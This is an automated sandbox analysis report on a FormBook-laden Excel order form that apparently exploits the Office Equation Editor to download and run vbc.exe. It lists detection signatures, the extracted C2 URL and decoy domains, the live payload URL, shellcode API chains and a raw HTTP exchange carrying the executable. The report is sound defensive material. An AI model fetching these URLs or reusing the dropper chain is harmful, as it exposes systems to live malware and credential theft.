Windows Analysis Report
BON DE COMMANDE POUR CHENOUFI AEK.xlsx

Overview

General Information

Sample Name: BON DE COMMANDE POUR CHENOUFI AEK.xlsx
Analysis ID: 626175
MD5: 981661fb35d158853f012f21aadd7b92
SHA1: 2ce93cbf7651c472a598b8756f5301275d95e27f
SHA256: 3084b6d063c6ec61503e90e6f2c61830ec915593fed9ddc719f67bc1ec24b49a
Tags: VelvetSweatshopxlsx
Infos:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Sigma detected: EQNEDT32.EXE connecting to internet
Multi AV Scanner detection for submitted file
Yara detected FormBook
Malicious sample detected (through community Yara rule)
Sigma detected: File Dropped By EQNEDT32EXE
Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Sample uses process hollowing technique
Maps a DLL or memory area into another process
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Injects a PE file into a foreign processes
Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
Shellcode detected
Office equation editor drops PE file
Queues an APC in another process (thread injection)
Tries to detect virtualization through RDTSC time measurements
Machine Learning detection for dropped file
Modifies the context of a thread in another process (thread injection)
C2 URLs / IPs found in malware configuration
Office equation editor establishes network connection
Drops PE files to the user root directory
Yara signature match
Antivirus or Machine Learning detection for unpacked file
Contains functionality to check if a debugger is running (IsDebuggerPresent)
May sleep (evasive loops) to hinder dynamic analysis
Contains functionality to shutdown / reboot the system
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Found evasive API chain (may stop execution after checking a module file name)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to call native functions
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Downloads executable code via HTTP
Contains functionality for execution timing, often used to detect debuggers
Enables debug privileges
Found inlined nop instructions (likely shell or obfuscated code)
Potential document exploit detected (unknown TCP traffic)
Extensive use of GetProcAddress (often used to hide API calls)
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Contains functionality to download and execute PE files
Office Equation Editor has been started
Contains functionality to download and launch executables
Checks if the current process is being debugged
Drops PE files to the user directory
Potential document exploit detected (performs HTTP gets)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality for read data from the clipboard

Classification

AV Detection
barindex
Found malware configuration
Source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp Malware Configuration Extractor: FormBook {"C2 list": ["www.freerenoadvice.com/ud5f/"], "decoy": ["makcoll.com", "mitrachocloud.com", "finikilspase.site", "vertriebmitherz.gmbh", "terapiasdelsinuips.com", "schoolmink.online", "slotgacor588.xyz", "zkf-lawyer.com", "daskocleaning.com", "baoxin-design.com", "hollywoodcuts.net", "animefnix.com", "trinityhomesolutionsok.com", "cfrhsw.xyz", "articrowd.com", "jlivingfurniture.com", "marmolsystem.com", "nudehack.com", "beam-birds.com", "cravensoft.com", "bjyunjian.com", "naturelleclub.com", "reece-family.net", "morarmail.com", "morgantownpet.supply", "recordanalytics.com", "factheat.online", "mcgillinvestigation.com", "tinyhouse.contact", "gpbrasilia.com", "jacobsclub.com", "theboemia.net", "balifoodfun.com", "alfonshotel.com", "spaceokara.com", "paraphras.com", "ruibaituobj.com", "rwbbrwe1.com", "turkishrepublik.com", "costumeshop.xyz", "minatexacess.com", "hathor-network.net", "02d1qp.xyz", "dadagrin.com", "lfsijin.com", "bupabii.site", "mydiga-angststoerung.com", "hayatseventeknoloji.com", "adv-cleaner.site", "ndsnus.com", "rebeccabarclaylpc.com", "eswpu.com", "babbleboat.com", "zvmsovsg.com", "quantumlab5.com", "venerems.com", "sh09.fyi", "maxpilesclinic.com", "luigilucioni.com", "yuttie.store", "tripnii.com", "topings33.com", "madetopraisehim.com", "tesladoge.info"]}
Multi AV Scanner detection for submitted file
Source: BON DE COMMANDE POUR CHENOUFI AEK.xlsx Virustotal: Detection: 38% Perma Link
Source: BON DE COMMANDE POUR CHENOUFI AEK.xlsx ReversingLabs: Detection: 26%
Yara detected FormBook
Source: Yara match File source: 6.0.bmexo.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.bmexo.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.bmexo.exe.170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.bmexo.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.bmexo.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.bmexo.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.bmexo.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.bmexo.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.bmexo.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Antivirus detection for URL or domain
Source: http://103.156.91.153/fdcloudfiles/vbc.exe Avira URL Cloud: Label: malware
Source: www.freerenoadvice.com/ud5f/ Avira URL Cloud: Label: malware
Multi AV Scanner detection for domain / URL
Source: http://103.156.91.153/fdcloudfiles/vbc.exe Virustotal: Detection: 10% Perma Link
Machine Learning detection for dropped file
Source: C:\Users\Public\vbc.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Joe Sandbox ML: detected
Antivirus or Machine Learning detection for unpacked file
Source: 6.0.bmexo.exe.400000.7.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 6.2.bmexo.exe.400000.1.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 5.2.bmexo.exe.170000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 6.0.bmexo.exe.400000.5.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 6.0.bmexo.exe.400000.9.unpack Avira: Label: TR/Crypt.ZPACK.Gen

Exploits
barindex
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe Jump to behavior
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 103.156.91.153 Port: 80 Jump to behavior
Office Equation Editor has been started
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: C:\wxiwy\cojnmd\dyrz\70c437f178a447d5b5e03abf78ad86d5\khqwan\zzevlnko\Release\zzevlnko.pdb source: vbc.exe, 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmp, bmexo.exe, 00000005.00000002.979347417.0000000000F2E000.00000002.00000001.01000000.00000005.sdmp, bmexo.exe, 00000005.00000000.968231879.0000000000F2E000.00000002.00000001.01000000.00000005.sdmp, bmexo.exe, 00000006.00000000.974589862.0000000000F2E000.00000002.00000001.01000000.00000005.sdmp, chkdsk.exe, 00000008.00000002.1174039918.0000000002887000.00000004.10000000.00040000.00000000.sdmp, chkdsk.exe, 00000008.00000002.1173217045.00000000003B3000.00000004.00000020.00020000.00000000.sdmp, nsmD99.tmp.4.dr, bmexo.exe.4.dr
Source: Binary string: chkdsk.pdb source: bmexo.exe, 00000006.00000002.1050114953.0000000000030000.00000040.10000000.00040000.00000000.sdmp, bmexo.exe, 00000006.00000002.1050401037.0000000000714000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: bmexo.exe, bmexo.exe, 00000006.00000003.981359909.0000000000800000.00000004.00000800.00020000.00000000.sdmp, bmexo.exe, 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, bmexo.exe, 00000006.00000003.979000602.00000000002B0000.00000004.00000800.00020000.00000000.sdmp, bmexo.exe, 00000006.00000002.1051582479.0000000000B10000.00000040.00000800.00020000.00000000.sdmp, chkdsk.exe, chkdsk.exe, 00000008.00000002.1173724762.0000000002500000.00000040.00000800.00020000.00000000.sdmp, chkdsk.exe, 00000008.00000003.1050200391.0000000002090000.00000004.00000800.00020000.00000000.sdmp, chkdsk.exe, 00000008.00000003.1051411235.00000000021F0000.00000004.00000800.00020000.00000000.sdmp, chkdsk.exe, 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp
Source: C:\Users\Public\vbc.exe Code function: 4_2_00405D7A CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 4_2_00405D7A
Source: C:\Users\Public\vbc.exe Code function: 4_2_004069A4 FindFirstFileW,FindClose, 4_2_004069A4
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040290B FindFirstFileW, 4_2_0040290B

Software Vulnerabilities
barindex
Shellcode detected
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035D056C ShellExecuteExW,ExitProcess, 2_2_035D056C
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035D050B URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_035D050B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035D048A LoadLibraryW,URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_035D048A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035D0555 ShellExecuteExW,ExitProcess, 2_2_035D0555
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035D03FE URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_035D03FE
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035D03E5 ExitProcess, 2_2_035D03E5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035D041A URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_035D041A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035D058A ExitProcess, 2_2_035D058A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035D04A4 URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_035D04A4
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 4x nop then pop edi 6_2_0041730E
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 4x nop then pop ebx 6_2_00406EA5
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 4x nop then pop edi 8_2_000A730E
Source: C:\Windows\SysWOW64\chkdsk.exe Code function: 4x nop then pop ebx 8_2_00096EA5
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.156.91.153:80
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.156.91.153:80

Networking
barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: www.freerenoadvice.com/ud5f/
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: TWIDC-AS-APTWIDCLimitedHK TWIDC-AS-APTWIDCLimitedHK
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 13 May 2022 15:07:42 GMTServer: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28Last-Modified: Fri, 13 May 2022 06:57:17 GMTETag: "40667-5dedf2f5fd4c5"Accept-Ranges: bytesContent-Length: 263783Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a8 21 60 47 ec 40 0e 14 ec 40 0e 14 ec 40 0e 14 2f 4f 51 14 ee 40 0e 14 ec 40 0f 14 49 40 0e 14 2f 4f 53 14 e3 40 0e 14 b8 63 3e 14 e0 40 0e 14 2b 46 08 14 ed 40 0e 14 52 69 63 68 ec 40 0e 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a9 9a 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 68 00 00 00 12 3a 00 00 08 00 00 46 36 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 a0 3b 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 85 00 00 a0 00 00 00 00 90 3b 00 50 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 67 00 00 00 10 00 00 00 68 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9a 13 00 00 00 80 00 00 00 14 00 00 00 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 b8 eb 39 00 00 a0 00 00 00 06 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 00 01 00 00 90 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 50 0a 00 00 00 90 3b 00 00 0c 00 00 00 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /fdcloudfiles/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 103.156.91.153Connection: Keep-Alive
Contains functionality to download and execute PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035D050B URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_035D050B
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: EQNEDT32.EXE, 00000002.00000002.965721686.000000000062E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com2 equals www.linkedin.com (Linkedin)
Source: explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: EQNEDT32.EXE, 00000002.00000002.965721686.000000000062E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
Source: EQNEDT32.EXE, 00000002.00000002.965721686.000000000062E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://103.156.91.153/fdcloudfiles/vbc.exe
Source: EQNEDT32.EXE, 00000002.00000002.965721686.000000000062E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://103.156.91.153/fdcloudfiles/vbc.exehhC:
Source: EQNEDT32.EXE, 00000002.00000002.965939065.00000000035D0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://103.156.91.153/fdcloudfiles/vbc.exej
Source: EQNEDT32.EXE, 00000002.00000002.965721686.000000000062E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://103.156.91.153/fdcloudfiles/vbc.exes
Source: explorer.exe, 00000007.00000000.1015141560.00000000046D0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://computername/printers/printername/.printer
Source: explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://investor.msn.com
Source: explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://investor.msn.com/
Source: explorer.exe, 00000007.00000000.983528544.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1034341934.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.996739649.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1009149384.0000000000335000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://java.sun.com
Source: explorer.exe, 00000007.00000000.1038912442.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: explorer.exe, 00000007.00000000.1038912442.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: vbc.exe, 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vbc.exe, 00000004.00000000.964387400.000000000040A000.00000008.00000001.01000000.00000004.sdmp, vbc.exe.2.dr, vbc[1].exe.2.dr String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: explorer.exe, 00000007.00000000.1034899702.0000000001DD0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: explorer.exe, 00000007.00000000.1003526577.0000000006450000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://servername/isapibackend.dll
Source: explorer.exe, 00000007.00000000.1038912442.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: explorer.exe, 00000007.00000000.1015141560.00000000046D0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://treyresearch.net
Source: explorer.exe, 00000007.00000000.1015141560.00000000046D0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://wellformedweb.org/CommentAPI/
Source: explorer.exe, 00000007.00000000.1038912442.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: explorer.exe, 00000007.00000000.1034899702.0000000001DD0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.%s.comPA
Source: explorer.exe, 00000007.00000000.983528544.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1034341934.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.996739649.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1009149384.0000000000335000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.autoitscript.com/autoit3
Source: explorer.exe, 00000007.00000000.1015141560.00000000046D0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.expedia.com/pub/agent.dll?qscr=mcst&strt1=%1&city1=%2&stnm1=%4&zipc1=%3&cnty1=5?http://ww
Source: explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.hotmail.com/oe
Source: explorer.exe, 00000007.00000000.1038912442.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.icra.org/vocabulary/.
Source: explorer.exe, 00000007.00000000.1015141560.00000000046D0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.iis.fhg.de/audioPA
Source: explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: explorer.exe, 00000007.00000000.993794779.00000000084C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1019795394.0000000008807000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1006658399.0000000008575000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleaner
Source: explorer.exe, 00000007.00000000.994238368.0000000008611000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1019525973.0000000008611000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1006887265.0000000008611000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleaner1SPS0
Source: explorer.exe, 00000007.00000000.1007066480.000000000869E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.993998682.0000000008575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1019426082.0000000008575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.994421316.000000000869E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1019795394.0000000008807000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1006658399.0000000008575000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: explorer.exe, 00000007.00000000.999156746.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1036163361.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1011925093.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.987988330.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleanerq
Source: explorer.exe, 00000007.00000000.1001945671.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.989754024.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1014187603.0000000004385000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleanerv
Source: explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.windows.com/pctv.
Source: explorer.exe, 00000007.00000000.983528544.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1034341934.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.996739649.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1009149384.0000000000335000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org
